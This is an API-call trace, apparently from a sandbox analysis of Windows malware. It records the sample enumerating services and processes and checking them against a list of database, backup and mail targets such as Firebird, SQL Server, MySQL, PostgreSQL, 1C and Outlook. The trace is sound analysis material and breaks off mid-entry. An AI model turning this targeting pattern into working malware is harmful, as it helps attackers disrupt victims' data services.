1 [0166.884] lstrlenW (lpString="SENS") returned 4 [0166.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.884] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.884] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.884] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.884] lstrlenW (lpString="Spooler") returned 7 [0166.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.884] lstrlenW (lpString="SysMain") returned 7 [0166.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0166.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0166.884] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0166.884] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0166.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0166.884] lstrlenW (lpString="Themes") returned 6 [0166.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0166.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0166.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0166.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0166.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0166.884] lstrlenW (lpString="TrkWks") returned 6 [0166.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0166.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0166.885] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0166.885] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0166.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0166.885] lstrlenW (lpString="UxSms") returned 5 [0166.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0166.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0166.885] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0166.885] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0166.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0166.885] lstrlenW (lpString="WdiServiceHost") returned 14 [0166.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.885] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0166.885] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0166.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0166.885] lstrlenW (lpString="WdiSystemHost") returned 13 [0166.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.885] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0166.885] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0166.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0166.885] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0166.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.885] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0166.885] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0166.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0166.885] lstrlenW (lpString="Winmgmt") returned 7 [0166.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0166.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0166.885] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0166.886] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0166.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0166.886] lstrlenW (lpString="WPDBusEnum") returned 10 [0166.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.886] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0166.886] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0166.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0166.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42ddfa0 | out: hHeap=0x300000) returned 1 [0166.886] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0166.888] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.888] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.889] lstrlenW (lpString="System") returned 6 [0166.889] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0166.889] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0166.889] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0166.889] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0166.889] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0166.889] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0166.889] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0166.889] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.889] lstrlenW (lpString="smss.exe") returned 8 [0166.889] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0166.889] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0166.889] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0166.889] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0166.890] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0166.890] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0166.890] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0166.890] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.890] lstrlenW (lpString="csrss.exe") returned 9 [0166.890] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.890] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.890] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.890] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.890] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.890] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0166.890] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.891] lstrlenW (lpString="wininit.exe") returned 11 [0166.891] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0166.891] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0166.891] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0166.891] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0166.891] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0166.891] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0166.891] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0166.891] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.891] lstrlenW (lpString="csrss.exe") returned 9 [0166.891] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.891] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.891] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.891] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.891] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.891] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.892] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.892] lstrlenW (lpString="winlogon.exe") returned 12 [0166.892] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.893] lstrlenW (lpString="services.exe") returned 12 [0166.893] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.893] lstrlenW (lpString="lsass.exe") returned 9 [0166.893] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0166.894] lstrlenW (lpString="lsm.exe") returned 7 [0166.894] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.894] lstrlenW (lpString="svchost.exe") returned 11 [0166.894] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.894] lstrlenW (lpString="svchost.exe") returned 11 [0166.894] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.895] lstrlenW (lpString="svchost.exe") returned 11 [0166.895] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.895] lstrlenW (lpString="svchost.exe") returned 11 [0166.895] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.895] lstrlenW (lpString="svchost.exe") returned 11 [0166.895] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.896] lstrlenW (lpString="audiodg.exe") returned 11 [0166.896] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.896] lstrlenW (lpString="svchost.exe") returned 11 [0166.896] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.896] lstrlenW (lpString="svchost.exe") returned 11 [0166.897] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.897] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.897] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.897] lstrlenW (lpString="taskhost.exe") returned 12 [0166.897] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.898] lstrlenW (lpString="svchost.exe") returned 11 [0166.898] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0166.898] lstrlenW (lpString="userinit.exe") returned 12 [0166.898] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.898] lstrlenW (lpString="dwm.exe") returned 7 [0166.898] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.899] lstrlenW (lpString="explorer.exe") returned 12 [0166.899] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0166.899] lstrlenW (lpString="3G6885.exe") returned 10 [0166.899] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0166.899] lstrlenW (lpString="reader_sl.exe") returned 13 [0166.899] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0166.900] lstrlenW (lpString="taskhost.exe") returned 12 [0166.900] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0166.900] lstrlenW (lpString="consent.exe") returned 11 [0166.900] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.900] lstrlenW (lpString="dllhost.exe") returned 11 [0166.900] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0166.901] lstrlenW (lpString="dllhost.exe") returned 11 [0166.901] Process32NextW (in: hSnapshot=0x3ac, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0166.901] CloseHandle (hObject=0x3ac) returned 1 [0166.901] Sleep (dwMilliseconds=0x1f4) [0167.574] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8bf8 [0167.575] EnumServicesStatusExW (in: hSCManager=0x41d8bf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0167.575] GetLastError () returned 0xea [0167.575] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0167.576] EnumServicesStatusExW (in: hSCManager=0x41d8bf8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0167.576] CloseServiceHandle (hSCObject=0x41d8bf8) returned 1 [0167.576] lstrlenW (lpString="Appinfo") returned 7 [0167.576] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.576] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.577] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.577] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.577] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.577] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.577] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.577] lstrlenW (lpString="AudioSrv") returned 8 [0167.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0167.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0167.577] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0167.577] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0167.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0167.577] lstrlenW (lpString="BFE") returned 3 [0167.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.577] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.577] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.577] lstrlenW (lpString="CryptSvc") returned 8 [0167.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.577] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.577] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.577] lstrlenW (lpString="CscService") returned 10 [0167.577] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0167.577] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0167.577] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0167.577] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0167.577] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0167.578] lstrlenW (lpString="DcomLaunch") returned 10 [0167.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.578] lstrlenW (lpString="Dhcp") returned 4 [0167.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.578] lstrlenW (lpString="Dnscache") returned 8 [0167.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.578] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.578] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.578] lstrlenW (lpString="DPS") returned 3 [0167.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.578] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.578] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.578] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.578] lstrlenW (lpString="eventlog") returned 8 [0167.578] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0167.578] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0167.578] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0167.579] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0167.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0167.579] lstrlenW (lpString="EventSystem") returned 11 [0167.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.579] lstrcmpiW 